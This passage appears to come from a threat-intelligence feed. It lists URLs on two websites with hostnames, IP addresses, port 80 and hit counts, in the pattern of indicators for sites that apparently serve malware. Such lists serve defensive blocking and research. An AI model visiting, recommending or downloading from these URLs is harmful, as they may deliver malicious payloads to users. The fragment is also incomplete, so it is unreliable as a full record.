IP Address: 69.16.200.139

Port: 80

Count: 1



<http://crewnecksusa.com/wp-content/NJ/>

Hostname: crewnecksusa.com

IP Address: 0.0.0.0

Port: 80

Count: 1

<http://www.dougsuniverse.com/pics/yL8/>

Hostname: www.dougsuniverse.com

IP Address: 74.208.131.70

Port: 80

Count: 1